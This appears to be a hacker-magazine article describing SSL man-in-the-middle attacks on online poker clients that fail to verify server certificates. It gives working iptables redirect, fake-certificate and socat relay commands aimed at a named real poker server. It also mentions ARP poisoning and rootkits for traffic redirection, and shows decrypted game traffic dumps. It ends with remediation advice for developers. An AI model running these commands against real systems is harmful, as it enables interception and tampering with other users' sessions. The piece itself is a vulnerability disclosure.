SSL MITM Attacks on Online Poker Software

by John Smith

Although we most often associate SSL (Secure Sockets Layer) or TLS (Transport Layer Security) with "secure" versions of our favorite Internet services (HTTPS, IMAPS, SMTPS), it can be used to secure arbitrary applications. In fact, it is used quite often in the online gambling world to secure the connection from the game client to the game server. Unfortunately it is often used in an incorrect manner, which leaves it open to man-in-the-middle attacks, where an attacker can read/modify/insert their own data into the connection.

SSL provides methods for endpoint verification and traffic privacy for network communications. Endpoint verification is done by validating a "peer certificate" from the remote host by checking the signature with a trusted third-party (such as Verisign). Traffic privacy uses symmetric ciphers to encrypt/decrypt data between the two hosts.

Traffic privacy is obvious - you don't want someone with a sniffer to see your passwords or credit card number when you're ordering your *2600* subscription. Endpoint verification is extremely important also, but many developers (obviously) don't think of it. In fact, the endpoint verification is exactly what prevents man-in-the-middle attacks - if the peer (remote server) that is being connected to can't be verified, then the client should quit. Unfortunately, this option is turned *off* by default! Any client software that has this flaw can then be attacked.

The man-in-the-middle attack consists of three steps: redirecting network traffic, answering requests from the client on behalf of the server, and answering requests from the server on behalf of the client. I chose to use ARP-cache poisoning and iptables mangling for the redirection, and socat to actually execute the man-in-the-middle attack. I managed to break Virgin Poker, and City Poker's client, viewing all client-server traffic in clear text.

Traffic Redirection

Getting network traffic from the victim isn't too hard. If you're on the same LAN you can use ARP cache poisoning or DNS hijacking. Rootkits are another avenue - there are kernel based rootkits for UNIX and Windows which can be made to redirect network traffic to an attacker. Insecure routers are another option; that Linux router the neighborhood geek set up for pizza and coke looks like a juicy target....

My traffic redirection solution involved a Perl script for Nemesis, which injects unsolicited ARP requests, and iptables packet mangling to rewrite the destination server IP address/port with a local one. All you need to do is figure out which IP the poker client talks to and rewrite it to your waiting MITM process. For example, City Poker uses IP 200.124.137.109 port 443. If I'm running my socat process on port 10007, the firewall rule becomes:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
/sbin/iptables --policy FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp
➥-d 200.124.137.109 --dport 443 -
➥j \ REDIRECT --to-ports 10007
```

The first two lines allow us to forward traffic and the third line is our firewall rule.

Man-in-the-Middle Process

Although we can roll our own man-in-the-middle process, I chose to use socat for simplicity. If you're going to write your own, you simply need to have it listen for SSL connections on one side and establish them on the other. You will need to generate a fake server certificate that will be given to the client - self-signed/expired doesn't matter since the client isn't checking! Here are the commands to generate a self-signed certificate, and to set up socat to perform the MITM logging data in cleartext to stdout:

```
openssl req -x509 -nodes -newkey
➥rsa:1024 -days 365 -keyout
➥fakecert.pem \ -out fakecert.pem
socat -v -x openssl-listen:10007,cert
➥ificate=./fakecert.pem,verify=0,fork
➥\ openssl:200.124.137.109:443,verify=0
➥2>&1 | tee ./cityPokerCapture.txt
```

When generating the certificate, I just chose all the defaults. The "-nodes" argument means you don't want to enter a passphrase (password) for the key. The socat line sets up an openssl-listen socket on port 10007 with the fake certificate we generated above. It will log packets to stdout ("-v -x" arguments) and establish an openssl connection to the *real* game server without verifying the peer certificate (verify=0).

You should now be able to fire up the poker client and see a nice cleartext version of everything running between the client and server.

Implications

My original motivation was to take a look at poker protocols, to see how "chatty" they are and what information is transferred. For example, what if the protocol designer thought it would be OK if all of a player's "hole cards" (two cards dealt before the first round of betting) were sent to each client before the hand began. We can reverse engineer the protocol and see what the command structure is like. Is there a debug mode or special admin commands that we can send? The server process now loses any client-side filters for things like data lengths and types. Can you say "fuzzer?"

Conclusions

I wrote a tool to check for expired/self-signed certificates and scanned 645 SSL ports on a /19 network well known for hosting gambling-related sites. It found 304 ports that were misconfigured and are therefore open to this type of attack. Some companies do this the right way - Party Poker, for example, verifies the peer certificate and checks the subject name in the client.

This flaw is actually quite easy to fix. On the client side, developers should always validate the peer certificate (at least in production!) and servers should have SSL certificates signed by real CAs. Protocol developers should *always* assume that the protocol can be viewed and treat input from the client as tainted. Data should be checked with a default reject policy - even though the client and server were written by the same team, that doesn't mean you shouldn't sanitize data before using it.

Snippet of data from City Poker dealing the turn card:

```
< 2006/09/07 13:51:21.162331  length=114 from=18964 to=18963
 00 00 00 22 00 01 33 08 32 35 36 35 32 31 34 30  ..."..3.25652140
 00 00 4d 00 44 65 61 6c 69 6e 67 20 74 75 72 6e  ..M.Dealing turn
 2e 00 4c 00 39 00 00 00 00 48 00 02 31 37 08 32  ..L.9....H..17.2
 35 36 35 32 31 34 30 00 00 5f 44 00 42 6f 61 72  5652140.._D.Boar
 64 20 63 61 72 64 73 20 5b 51 68 20 54 63 20 35  d cards [Qh Tc 5
 64 20 4b 63 5d 00 43 32 00 31 36 00 43 30 00 33  d Kc].C2.16.C0.3
 36 00 43 33 00 31 31 00 43 31 00 38 00 5f 4c 00  6.C3.11.C1.8._L.
 39 00                                            9.
```

Snippet of data from Virgin Poker client doing a ping and reply:

```
< 2006/08/09 08:36:32.414723  length=17 from=492 to=491
 50 43 4b 54 01 00 00 00 00 00 00 11 50 69 6e 67  PCKT........Ping
 00                                               .
--
> 2006/08/09 08:36:32.439287  length=17 from=864 to=863
 50 43 4b 54 01 00 00 00 00 00 00 11 50 69 6e 67  PCKT........Ping
 00                                               .
```